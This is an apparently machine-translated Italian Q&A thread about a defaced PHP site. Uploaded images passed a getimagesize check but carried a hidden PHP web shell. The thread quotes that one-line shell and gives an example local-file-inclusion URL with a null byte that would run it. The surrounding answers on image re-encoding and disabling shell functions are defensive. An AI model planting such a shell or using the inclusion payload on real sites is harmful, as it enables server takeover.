2010-08-17 13 views
8

Ieri il mio sito era compreso. L'attaccante cambia il file index.php nel proprio (con tutti i loro messaggi di gloria e saluta). Ho informato la società di hosting su questo (stiamo correndo su un server dedicato), e da parte mia, sto cercando di sistemare tutto ciò che sembra essere la causa, perché non sono ancora in grado di indicare esattamente come il server è stato attaccato, ma penso di aver trovato alcune scappatoie basate su script che potrebbero essere il colpevole.Il mio sito php è stato violato dai codici caricati come immagine ..?

Il nostro sito ha un modulo per il caricamento di immagini, ma tutte le immagini caricate vengono verificate se sono effettivamente file di immagine e non alcuni codici utilizzando la funzione di php getimagesize. Solo se il tipo di immagine è IMAGETYPE_GIF o IMAGETYPE_JPEG o IMAGETYPE_PNG saranno accettati. Altrimenti, non saranno in grado di caricare il file. Tuttavia ho scoperto che un file immagine caricato contiene uno script php al suo interno! È possibile scaricare l'immagine here. Si tratta di un file immagine valido, ma provare ad aprire l'immagine utilizzando qualsiasi editor di testo e troverete un codice php all'interno di esso:

<?php 

echo "<pre>"; system($_GET['cmd']); echo "</pre>"; 

?> 

Ad esempio, l'immagine viene caricato in questa posizione (www.mysite.com/uploads /picodes.jpg). Prendi nota del fatto che il permesso di caricamento delle cartelle è 755. Esiste un modo in cui l'attaccante può eseguire il sistema (o qualsiasi altro comando come il passthru, poiché abbiamo scoperto che un'altra immagine ha lo stesso codice nascosto come sopra, ma invece del sistema , ha il comando passthru), solo per esempio, digitando www.mysite.com/uploads/picodes.jpg?cmd=some command ?? Dalla mia conoscenza non può essere fatto (lo apprezzo davvero se qualcuno può dimostrarmi sbagliato), a meno che l'attaccante non possa rinominare il file jpg in php, e anche questo, questi codici sono nascosti in profondità nell'immagine (vedi l'immagine all'interno text editor per capire cosa sto cercando di dire)

Per precauzioni, ho disabilitato queste funzioni php (exec, passthru, proc_close, proc_get_status, proc_nice, proc_open, proc_terminate, shell_exec, system) aggiungendole sul disable_functions in php.ini.

In ogni caso, continuo a pensare che l'hacker possa accedere non tramite web, ma attraverso l'exploit del server, ma penso che la mia società di hosting pensi diversamente.

+0

A seconda della configurazione del tuo server, se il tuo verificatore di immagine non controlla nomi di file, potrebbe essere possibile sfruttarlo, ad esempio se l'autore dell'attacco carica il file con un nome che ha un'estensione '.php', ma questa è una vera domanda per Server Fault. È questo che volevi sapere? –

+0

Grazie per aver risposto david, ma come ho detto sopra, tutti i file caricati vengono controllati per primi; solo se sono file immagine (gif, jpg o png) saranno accettati. Altrimenti verrà scartato. Quindi il caricamento di un file con estensione .php o qualsiasi altro codice raw con qualsiasi estensione sicuramente fallirà. – imin

+6

Bene, hai detto di usare 'getimagesize' per verificare che l'immagine sia un'immagine, ma quella funzione _non controlla l'estensione del file_. Guarda solo il contenuto del file. (Provalo: rinomina 'picodes.jpg' in' picodes.php' e vedi cosa 'getimagesize (" picodes.php ")' ti dà.) Quindi devi anche controllare esplicitamente il nome sotto il quale il file viene caricato, e assicurarsi che corrisponda al tipo di immagine restituito da 'getimagesize'. –

risposta

4

I file JPEG possono contenere dati arbitrari in essi oltre ai dati effettivi dell'immagine; fa parte delle specifiche. Pertanto, il solo controllo se un'immagine è un JPEG valido non significa che il file sia necessariamente completamente innocuo.

+0

quindi come faccio a verificare se il file jpg è davvero innocuo? altri formati di immagine (png e gif) possono contenere anche dati arbitrari? e come la mia domanda di cui sopra, anche se riescono a caricare un file immagine con i codici in esso, come stanno andando a eseguirlo senza in qualche modo rinominare il file in php? – imin

+0

Non c'è davvero un modo 100% per assicurarsi che qualsiasi file sia innocuo, è più che devi eliminare i modi per eseguire i file potenzialmente (che non posso davvero darti tanto aiuto, specialmente non conoscere i dettagli del server impostare). – Amber

+0

hmm grazie mille ... suppongo che dovrò convertire qualsiasi immagine di upload in altri tipi (ad esempio se jpg poi convertirlo in gif, gif in jpg, png in jpg) per rimuovere eventuali codici incorporati al suo interno, se presenti. In ogni caso, nessuno mi risponderà su come eseguiranno i codici al suo interno senza rinominare il file immagine in php? – imin

5

Il file di immagine con codice PHP arbitrario non può essere sfruttato con richiesta diretta ad esso, ad es. http://www.mysite.com/uploads/image.jpg?cmd=somecode.

Tuttavia, può essere utilizzato con la vulnerabilità di inclusione di file locale.

Per esempio, in index.php si utilizza include('pages/' . $_GET['page'] . '.php');, allora attaccante può caricare un'immagine con codice PHP all'interno ed eseguire comandi con smth come questo: http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00

UPD: file modificato nell'URL alla pagina

+0

Bene, allora dovrebbe essere 'page' e non' file' nell'URL;) – Shikiryu

+0

controllare http: //stackoverflow.com/questions/13272231/how-to-safely-prevent-uploaded-file-from-being-run-via-php-on-any-server per altri usi su server Windows mal configurati. – regilero

2

Questo potrebbe non essere una vulnerabilità nel tuo codice. Ho avuto la stessa cosa mi è successo poche settimane fa. Sebbene TUTTI i miei file index.php siano stati rimossi, anche quelli non direttamente accessibili dal web. Nel mio caso, era un buco di sicurezza in Linux. Non ha nulla a che fare con il mio codice. Questa è stata la risposta del mio fornitore di hosting (A2Hosting), riguardo al problema. Una volta convinti che non era niente, ho capito le cose abbastanza velocemente.

"Un recente exploit nel kernel Linux è stato utilizzato per concedere l'accesso amministrativo (root) alle directory degli utenti sul server .L'attacco consisteva nel rimuovere i file di indice trovati nelle directory e sostituirli con il contenuto desiderato di dell'utente malintenzionato: una pagina Web nera con il nome in codice dell'attaccante, "iSKORPiTX (Turkish Hacker)". Questo hack è stato enorme su Internet e ha utilizzato una vulnerabilità precedentemente sconosciuta, limitando la nostra capacità di prevenirlo. "

2

Le impostazioni del mio file di immagine su caricatore sono: carica file in cartella temp, crea nuova immagine usando imagecreatefromjpeg o imagecreatefrompng o imagecreatefromgif e salva, elimina il file caricato dalla cartella temporanea (tutte queste cose accadono nella stessa azione di script, quindi il file caricato nella cartella temporanea non esiste per molto tempo)

+0

È questo il modo più sicuro che si presume ?? – ErickBest

+0

Questa opzione è abbastanza sicura poiché lo script elimina il file caricato entro frazioni di secondo. – user424821

Problemi correlati